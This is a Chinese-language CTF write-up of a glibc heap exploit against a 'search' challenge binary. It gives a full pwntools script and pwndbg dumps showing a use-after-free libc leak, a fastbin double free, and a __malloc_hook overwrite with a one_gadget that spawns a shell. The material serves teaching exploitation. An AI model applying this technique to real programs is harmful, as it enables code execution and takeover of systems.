struct node
{
char * ptr_cmd; 索引字符串的起始地址, 用于搜索字符串的 命令
int cmd_size; 索引字符串的大小
char * ptr_sentence; 句子的其实地址
int sentence_size; 句子的大小
void * pre_node; 上一个节点
}
exp
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
context.log_level = 'debug'
context.binary = "./search"
search = context.binary
if args['REMOTE']:
p = remote('127.0.0.1', 7777)
else:
p = process("./search")
log.info('PID: ' + str(proc.pidof(p)[0]))
def offset_bin_main_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
#bin[0]和 bin[127]都不存在,bin[1]为 unsorted bin 的 chunk 链表头
offset -= word_bytes * 2 # bin overlap #prev_size, size 复用了 top,last_remainder
return offset
def index_sentence(s):
p.recvuntil("3: Quit\n")
p.sendline('2')
p.recvuntil("Enter the sentence size:\n")
p.sendline(str(len(s)))
p.send(s)
def search_word(word):
p.recvuntil("3: Quit\n")
p.sendline('1')
p.recvuntil("Enter the word size:\n")
p.sendline(str(len(word)))
p.send(word)
def leak_libc():
smallbin_sentence = 's' * 0x85 + ' m '
index_sentence(smallbin_sentence)
search_word('m')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
#gdb.attach(p)
search_word('\x00')
p.recvuntil('Found ' + str(len(smallbin_sentence)) + ': ')
unsortedbin_addr= u64(p.recv(8))
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')
return unsortedbin_addr
def exp():
# 1. leak libc base
main_arena_offset = 0x3c4b20
unsortedbin_offset_main_arena = offset_bin_main_arena(0) # 0x58
unsortedbin_addr = leak_libc()
main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena
libc_base = main_arena_addr - main_arena_offset
log.success('unsortedbin addr: ' + hex(unsortedbin_addr))
log.success('libc base addr: ' + hex(libc_base))
gdb.attach(p)
# 2. create cycle fastbin 0x70 size
index_sentence('a' * 0x5d + ' d ') #a
index_sentence('b' * 0x5d + ' d ') #b
index_sentence('c' * 0x5d + ' d ') #c
# a->b->c->NULL
search_word('d')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
# b->a->b->a->... 这里是利用"\00"绕过判断进行double free
'''
#首先判断c是否满足条件,由于c是fastbin中的最后一个节点,其fd的值为0,因此不能满足i->sentence != NULL的条件,因此第一个输出时候删除的是对应的b
删除b之后,b->fd = c 变为 b->fd = a
所以为: b->a->b->a->...
'''
search_word('\x00')
p.recvuntil('Delete this sentence (y/n)?\n') #删除b
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n') #删除a
p.sendline('n')
p.recvuntil('Delete this sentence (y/n)?\n') #删除 libc_leak的时候添加的sentence
p.sendline('n')
# 3. fastbin attack to malloc_hook nearby chunk
fake_chunk_addr = main_arena_addr - 0x33
fake_chunk = p64(fake_chunk_addr).ljust(0x60, 'f')
index_sentence(fake_chunk)
index_sentence('a' * 0x60)
index_sentence('b' * 0x60)
one_gadget_addr = libc_base + 0xf02a4
payload = 'a' * 0x13 + p64(one_gadget_addr)
payload = payload.ljust(0x60, 'f')
index_sentence(payload)
p.interactive()
if __name__ == "__main__":
exp()
1. 泄露基地址
添加句子:添加一个node,并且保证sentence_chunk属于small bin
申请一个 small chunk
smallbin_sentence = 's' * 0x85 + ' m '
index_sentence(smallbin_sentence)
查看内存信息:
pwndbg> x/10xg 0x06020B8
0x6020b8: 0x00000000006034e0 ptr_centence_struct 0x0000000000000000
0x6020c8: 0x0000000000000000 0x0000000000000000
0x6020d8: 0x0000000000000000 0x0000000000000000
0x6020e8: 0x0000000000000000 0x0000000000000000
0x6020f8: 0x0000000000000000 0x0000000000000000
pwndbg> x/10xg 0x00000000006034d0 ptr_sentence_chunk
0x6034d0: 0x0000000000000000 0x0000000000000031
0x6034e0: 0x00000000006034a6 ptr_cmd 0x0000000000000001 cmd_size
0x6034f0: 0x0000000000603420 ptr_sentence 0x0000000000000088 sentence_size
0x603500: 0x00000000006034b0 0x0000000000000031
0x603510: 0x0000000000000000 0x0000000000000000
pwndbg> x/10xg 0x0000000000603420 ptr_sentence
0x603420: 0x7373737373737373 0x7373737373737373
0x603430: 0x7373737373737373 0x7373737373737373
0x603440: 0x7373737373737373 0x7373737373737373
0x603450: 0x7373737373737373 0x7373737373737373
删除句子:删除一个node ,free chunk 放入unsortbin中
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y') 删除堆块
再删除句子之前,会先将句子清空,(注意:ptr_cmd指针指向的 命令置为 0)
ida中对应的源码如下:
memset(i->ptr_sentence, 0, i->sentence_size);
free(i->ptr_sentence);
查看内存:
pwndbg> x/2xb 0x00000000006034a6 ptr_cmd :cmd命令被置为 00
0x6034a6: 0x00 0x00
bins:
unsortedbin
all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x603410 ◂— 0x7ffff7dd1b78
0x603410 PREV_INUSE {
prev_size = 0x0,
size = 0x91,
fd = 0x7ffff7dd1b78,
bk = 0x7ffff7dd1b78,
fd_nextsize = 0x0,
bk_nextsize = 0x0,
}
上面可以看到freechunk的bk和fd都指向于malloc_state结构体中的unsortedbin的bin头处,因为unsorted bin :chunk->prev_size, chunk->size复用了 top、last_remainder 的空间,所以 fd指向 top
pwndbg> p main_arena
$2 = {
mutex = 0,
flags = 0,
fastbinsY = {0x603530, 0x603500, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x603550,
last_remainder = 0x0,
# fd = 0x7ffff7dd1b78, bk = 0x7ffff7dd1b78,
bins = {0x603410, 0x603410, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bd8 <main_arena+184>, 0x7ffff7dd1bd8 <main_arena+184>, 0x7ffff7dd1be8 <main_arena+200>...},
binmap = {0, 0, 0, 0},
next = 0x7ffff7dd1b20 <main_arena>,
next_free = 0x0,
attached_threads = 1,
system_mem = 135168,
max_system_mem = 135168
}
绕过memcmp检查
memcmp(i->ptr_cmd, pmalloc, read_size)
ptr_cmd 指针所指的 cmd 内存被填充了0,那么我们可以认为 命令为 00,则我们可以通过发送 00 命令来绕过检查
search_word('\x00') # 此时 0 为 删除了的句子的查找命令
因为删除句子之后,并没有将 ptr_sentence 指针置NULL,所以存在UAF漏洞;
但我们再次查找删除的句子时,依然将 ptr_sentence 所对应的内容输出,
而此时,ptr_sentence 对应的chunk为 unsorted chunk,对应的内容为:
0x0000000000603420 ptr_sentence
pwndbg> x/20xg 0x0000000000603420
0x603420: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x603430: 0x0000000000000000 0x0000000000000000
unsortedbin #0x603410 为 ptr_sentence 所对应的chunk
all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x603410 ◂— 0x7ffff7dd1b78
注:bk和fd都指向于malloc_state结构体中的bins链头处
由此我们可知,绕过memcmp检查检查后,输出的内容为 :
malloc_state结构体中所对应的 bin 链中 unsortedbin 的地址,因此可以通过泄露的 unsortedbin_addr 计算出 基地址 libc_base
unsortedbin_addr = leak_libc()
main_arena_addr = unsortedbin_addr - bins_1_offset_main_arena
# main_arena_offset = 0x3c4b20
libc_base = main_arena_addr - main_arena_offset
2. create cycle fastbin 0x70 size
index_sentence('a' * 0x5d + ' d ') #a
index_sentence('b' * 0x5d + ' d ') #b
index_sentence('c' * 0x5d + ' d ') #c
'''
#index_sentence('a' * 0x5d + ' d ') #a
0x10bc1b0 FASTBIN {
prev_size = 0x10bc160,
size = 0x71,
fd = 0x6262626262626262,
bk = 0x6262626262626262,
fd_nextsize = 0x6262626262626262,
bk_nextsize = 0x6262626262626262,
}
#index_sentence('a' * 0x5d + ' d ') #b
0x10bc250 FASTBIN {
prev_size = 0x10bc190,
size = 0x31,
fd = 0x10bc290,
bk = 0x5d,
fd_nextsize = 0x10bc290,
bk_nextsize = 0x60,
}
#index_sentence('a' * 0x5d + ' d ') #c
0x10bc280 FASTBIN {
prev_size = 0x10bc230,
size = 0x71,
fd = 0x6363636363636363,
bk = 0x6363636363636363,
fd_nextsize = 0x6363636363636363,
bk_nextsize = 0x6363636363636363,
}
'''
# a->b->c->NULL
search_word('d')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
# b->a->b->a->... 这里是利用"\00"绕过判断进行double free
'''
#首先判断c是否满足条件,由于c是fastbin中的最后一个节点,其fd的值为0,因此不能满足i->sentence != NULL的条件,因此第一个输出时候删除的是对应的b
删除b之后,b->fd = c 变为 b->fd = a
所以为: b->a->b->a->...
'''
search_word('\x00')
p.recvuntil('Delete this sentence (y/n)?\n') #删除b
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n') #删除a
p.sendline('n')
p.recvuntil('Delete this sentence (y/n)?\n') #删除 libc_leak的时候添加的sentence
p.sendline('n')
3. fastbin attack to malloc_hook nearby chunk
'''
指定地点,构造chunk
pwndbg> x/50xg 0x7f900b069b20 - 0x33
0x7f900b069aed <_IO_wide_data_0+301>: 0x900b068260000000 0x000000000000007f
'''
fake_chunk_addr = main_arena_addr - 0x33
fake_chunk = p64(fake_chunk_addr).ljust(0x60, 'f')
'''
b->a->b->a
修改 b->fk = a ⇒ b->fk = fake_chunk
'''
index_sentence(fake_chunk)
'''
此时 fastbin:
a->b->fake_chunk
'''
index_sentence('a' * 0x60) # 使用 a
index_sentence('b' * 0x60) # 使用 b
'''libc.so.6 gadget
.text:00000000000F02A4 mov rax, cs:environ_ptr_0
.text:00000000000F02AB lea rsi, [rsp+1B8h+var_168]
.text:00000000000F02B0 lea rdi, aBinSh ; "/bin/sh"
.text:00000000000F02B7 mov rdx, [rax]
.text:00000000000F02BA call execve
'''
one_gadget_addr = libc_base + 0xf02a4
'''
0x7f900b069b10 <__malloc_hook> = fake_chunk_addr + 0x10 + 0x13 = main_arena_addr - 0x33 + 0x10 + 0x13 = main_arena_addr - 0x10
0x7f900b069b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f900b069b20 <main_arena>: 0x0000000000000000 0x000000000259a130
'''
payload = 'a' * 0x13 + p64(one_gadget_addr) # 修改__malloc_hook 中的地址为 gadget
payload = payload.ljust(0x60, 'f')
index_sentence(payload) # 使用指定的 fake_chunk,并修改了 __malloc_hook 中的地址
至此,当程序中再次调用 malloc时,就会调用我们指定的 gadgets,获取shell
exp执行结果
[*] Switching to interactive mode
Enter the sentence:
$ ls
fastbin_attack fastbin_attack.c search search_exp.py
漏洞的技巧点
技巧①:我们malloc的时候,尽量malloc一个大小在0x70~0x80之间的堆块(因此malloc的参数要为0x60~0x70之间),因为这样我们的目标地址就会被放入0x70~0x80大小范围的fastbin链中,此时我们去构造堆块的时候,由于系统中0x7f这样的数值比较好找,所以能够构造0x7f这样的数值来跳过glibc的检测一
技巧②:接着技巧①,如果此时我们没有数值为0x7f这样的地址来让我们构造,那么我们就需要使用借助unsortedbin attack了,利用unsortedbin attack向我们的目标地址处写入一个0x7f的数值
参考
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack-zh/
https://blog.csdn.net/qq_41453285/article/details/99315504